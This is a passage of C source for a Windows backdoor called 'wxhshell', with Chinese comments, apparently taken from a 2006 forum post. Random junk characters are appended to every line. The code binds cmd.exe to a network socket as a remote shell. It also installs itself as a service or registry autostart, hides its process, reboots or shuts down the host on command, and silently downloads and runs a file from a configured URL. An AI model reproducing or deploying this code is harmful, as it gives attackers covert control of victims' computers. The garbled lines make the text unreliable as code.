  case '?': { #ExNiFZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xP+`scv*m#  
    break; *l{GD1ZDk  
  } }p|S3/G?$!  
  // 安装 2&o jQhe  
  case 'i': { I6-.;)McO  
    if(Install()) v1O1-aM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >K;DBy*  
    else 6 @A'N(I=O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mv?$zV"`#  
    break; c$P68$FB  
    } ?[VL 2dP0  
  // 卸载 #UesXv  
  case 'r': { &m=73 RN  
    if(Uninstall()) j[Q9_0R~lR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R(AS$<p{!>  
    else h ]6: `5-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H~:EPFi.(  
    break; N5d)&a 7?  
    } gzd<D}2F~  
  // 显示 wxhshell 所在路径 $H8B%rT]  
  case 'p': { <{P`A%g@  
    char svExeFile[MAX_PATH]; f1w_Cl  
    strcpy(svExeFile,"\n\r"); f>hA+  
      strcat(svExeFile,ExeFile); *hvC0U@3  
        send(wsh,svExeFile,strlen(svExeFile),0); F?+\J =LT  
    break; i@m@]-2  
    } H ]z83:Z  
  // 重启 7z;X@+O}s  
  case 'b': { 3ZUME\U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q,m+W='  
    if(Boot(REBOOT)) lx\9Y8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q5xF~SQGw2  
    else { Us2IeR  
    closesocket(wsh); h<<uef9  
    ExitThread(0); '4ip~>3?w  
    } .L@gq/x)  
    break; #1De#uZ  
    } NH'Dz6K5  
  // 关机 lc[)O3,,B  
  case 'd': { `n?Rxhkwp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z50P* eS  
    if(Boot(SHUTDOWN)) Z^!% b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fs(FI\^  
    else { 0fzHEL  
    closesocket(wsh); y|/[;  
    ExitThread(0); 1I?`3N  
    } 2h:{6Gq8  
    break; D/YMovH%  
    } ]{| wU.  
  // 获取shell |/;;uK,y  
  case 's': { p1N3AhXY  
    CmdShell(wsh); bRD-[)  
    closesocket(wsh); )uu(I5St  
    ExitThread(0); +L|x^ B3  
    break; b/"gUYo  
  } >@)p*y.K  
  // 退出 $f?GD<}?7r  
  case 'x': { NHiac(&*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J9-n3o  
    CloseIt(wsh); X;]I jha<*  
    break; \q@Co42n\  
    } gA}?X  
  // 离开 zfw=U \  
  case 'q': { qV0GpVJZU?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :cvT/xhO  
    closesocket(wsh); G=/^]E  
    WSACleanup(); #y-R*4G  
    exit(1); Du #>y!  
    break; Cto>~pV  
        } .*edaDi  
  } +ib&6IU  
  } (q@%eor&}  
h S)lQl:^  
  // 提示信息 [}HS[($  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h~lps?.#b  
} ot0g@q[3  
  } 5PsjGvm.%  
Ya4yW9*  
  return; l >~Rzw  
} =o4gW`\z  
\%&):OD1  
// shell模块句柄 D"gv:RojD  
int CmdShell(SOCKET sock) m Uy>w  
{ OS-k_l L  
STARTUPINFO si; f0879(,i  
ZeroMemory(&si,sizeof(si)); U(gYx@   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (&SPMhs_|(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RzU9]e  
PROCESS_INFORMATION ProcessInfo; : { iK 5  
char cmdline[]="cmd"; zZ,"HY=jN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ++n_$Qug  
  return 0; xR8y"CpE  
} ~ mzX1[  
10Q!-K),p  
// 自身启动模式 uFA}w:Fm  
int StartFromService(void) >0_{80bdO  
{ Oyb0t|do+  
typedef struct =ld!=II  
{ $_3 )m  
  DWORD ExitStatus; *{,}pK2*  
  DWORD PebBaseAddress; [dFe-2u ,$  
  DWORD AffinityMask; \l%##7DRp]  
  DWORD BasePriority; a6@k*9D>  
  ULONG UniqueProcessId; jvxCCYXR  
  ULONG InheritedFromUniqueProcessId; &kcmkRRG  
}   PROCESS_BASIC_INFORMATION; YYL3a=;`a  
E 6+ ooB[  
PROCNTQSIP NtQueryInformationProcess; P%ThW9^vnj  
>;lrH&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $4*gi&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P_5G'[  
Cn0s?3Fm  
  HANDLE             hProcess; HQwrb HS  
  PROCESS_BASIC_INFORMATION pbi; =d+`xN*  
0"Euf41  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;66{S'*[  
  if(NULL == hInst ) return 0; 3-oKY*jO  
[)?9|yY"`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J:J/AgJuH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fda4M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ii&ckg>]z  
l[i1,4  
  if (!NtQueryInformationProcess) return 0; [+8*}03  
cY Qm8TR<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EI)2 c.A  
  if(!hProcess) return 0; ~!M"  
rp^:{6O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; re,}}'  
q6b&b^r+H  
  CloseHandle(hProcess); T9'HQu  
#3tC"2MZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bN6i*) }  
if(hProcess==NULL) return 0; )?I*zc  
P,b&F  
HMODULE hMod; .4l cES~  
char procName[255]; nN^lY=3  
unsigned long cbNeeded; Yg}b%u,Q  
o^'QGs "  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;.<HpDfG_  
ZmycK:f  
  CloseHandle(hProcess); uH(M@7"6_!  
|Qb@.  
if(strstr(procName,"services")) return 1; // 以服务启动 xj9xUun  
*K& $9fah  
  return 0; // 注册表启动 F(ZczwvR  
} dWu;F^  
Lxv6\3I+  
// 主模块 {;m|\652B  
int StartWxhshell(LPSTR lpCmdLine) of GoaH*h  
{ 3[m2F O,Z  
  SOCKET wsl; =GW[UnO  
BOOL val=TRUE; m=Gb<)Y  
  int port=0; ;Wa&Dg/5`  
  struct sockaddr_in door; Jl6lZd(Np  
dt>9mF q  
  if(wscfg.ws_autoins) Install(); ^w&!}f+  
X4!Jj *  
port=atoi(lpCmdLine); ` @lNt}  
fW[RCd  
if(port<=0) port=wscfg.ws_port; o\PHs4Ws'7  
o q6^  
  WSADATA data; 4)>S3Yr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xJnN95`R@  
;.rY`<|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JStEOQF4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^.  
  door.sin_family = AF_INET; CJDNS21m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mB6%. "  
  door.sin_port = htons(port); GctV  
OEX\]!3_Fm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LPZ\T} <l  
closesocket(wsl); =6f)sZpPh  
return 1; 0P!Fci/t  
} /"8|26  
/{/mwS"W  
  if(listen(wsl,2) == INVALID_SOCKET) { !N_eZPU.v  
closesocket(wsl); rQ6>*0xL_  
return 1; Pp_? z0M  
} Ra6}<o  
  Wxhshell(wsl); rZ)7(0BBs  
  WSACleanup(); )D)4=LJ  
|/$954Hr#<  
return 0; RTDplv; ]  
A0,e3gb  
} _ b</ ::Tp  
hs:iyr]@9  
// 以NT服务方式启动 ie>mOsz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8J- ?bo  
{ Z6Z/Y()4Tl  
DWORD   status = 0; }W(t> >  
  DWORD   specificError = 0xfffffff; .<xD'54  
yq<W+b/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P_H_\KsH*(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y*O Bky  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B52dZb  
  serviceStatus.dwWin32ExitCode     = 0; d0f(Uk  
  serviceStatus.dwServiceSpecificExitCode = 0; &Vu-*?  
  serviceStatus.dwCheckPoint       = 0; PfB9 .f{  
  serviceStatus.dwWaitHint       = 0; *~*"p)`<  
k*C[-5&#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *UXa.kT@  
  if (hServiceStatusHandle==0) return; `s3:Vsv4  
!&`\MD>;~R  
status = GetLastError(); l<<9H-O  
  if (status!=NO_ERROR) *65~qAd  
{ ( z F_<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \hb$v  
    serviceStatus.dwCheckPoint       = 0; Ts|;5ya5m  
    serviceStatus.dwWaitHint       = 0; [-81s!#mkw  
    serviceStatus.dwWin32ExitCode     = status; W^S]"N0u  
    serviceStatus.dwServiceSpecificExitCode = specificError; VR A+p?7-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A/fM30  
    return; S v#,L8f  
  } 6+"gk(  
&p*rEs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 84i0h$ZZo  
  serviceStatus.dwCheckPoint       = 0; p,uM)LD  
  serviceStatus.dwWaitHint       = 0; Q`4I a<5B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }W[=O:p  
} opu)9]`z  
rOj(THoc{  
// 处理NT服务事件,比如:启动、停止 AAKc8 {  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,^ dpn  
{ \" m&WFm  
switch(fdwControl) Nez '1  
{ x{GFCy7  
case SERVICE_CONTROL_STOP: so| U&`G  
  serviceStatus.dwWin32ExitCode = 0; <X5ge>.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wuXH'  
  serviceStatus.dwCheckPoint   = 0; %da-/[  
  serviceStatus.dwWaitHint     = 0; zwP*7u$CH  
  { \%%M>4c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;XlCd[J<  
  } Ex@}x#3  
  return; Z:V<P,N  
case SERVICE_CONTROL_PAUSE: $ 9E"{6;@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hx/A215L  
  break; b^()[4M;  
case SERVICE_CONTROL_CONTINUE: >Rb jdM5K4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0dI7{o;<|  
  break; ,OP\^  
case SERVICE_CONTROL_INTERROGATE: 4!-R&<TLve  
  break; Z@$'fX?~9  
}; `Hv"^o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i }Zz[b  
} r(_Fr#Qn  
x")Bmw$  
// 标准应用程序主函数 /OMgj7olD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e eyZ $n  
{ /[ Rp~YzW  
gp H@F X  
// 获取操作系统版本 Qv;b$by3  
OsIsNt=GetOsVer(); =4&"fZ"v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]@}hyM[D;  
TC@F*B;  
  // 从命令行安装 |?MD>Pez  
  if(strpbrk(lpCmdLine,"iI")) Install(); A@4{-e\  
De>,i%`Q,D  
  // 下载执行文件 -lq`EB +  
if(wscfg.ws_downexe) { 0m\( @2E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HzuG- V  
  WinExec(wscfg.ws_filenam,SW_HIDE); m`Z.xIA7;  
} 9i{(GO  
:b_hF  
if(!OsIsNt) { A_2lG!! 6  
// 如果时win9x,隐藏进程并且设置为注册表启动 CP$,fj  
HideProc(); [(.lfa P  
StartWxhshell(lpCmdLine); -yu$Mm  
} k)8*d{*  
else Yfs eX;VX  
  if(StartFromService()) )|5mW  
  // 以服务方式启动 =KD[#au6a  
  StartServiceCtrlDispatcher(DispatchTable); t#-4edB,  
else r&:yZN  
  // 普通方式启动 :6m"}8*q8  
  StartWxhshell(lpCmdLine); /#L4ec-'  
- ku8n%u  
return 0; yZNg[KH  
}
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只看该作者 1 发表于: 2006-10-10
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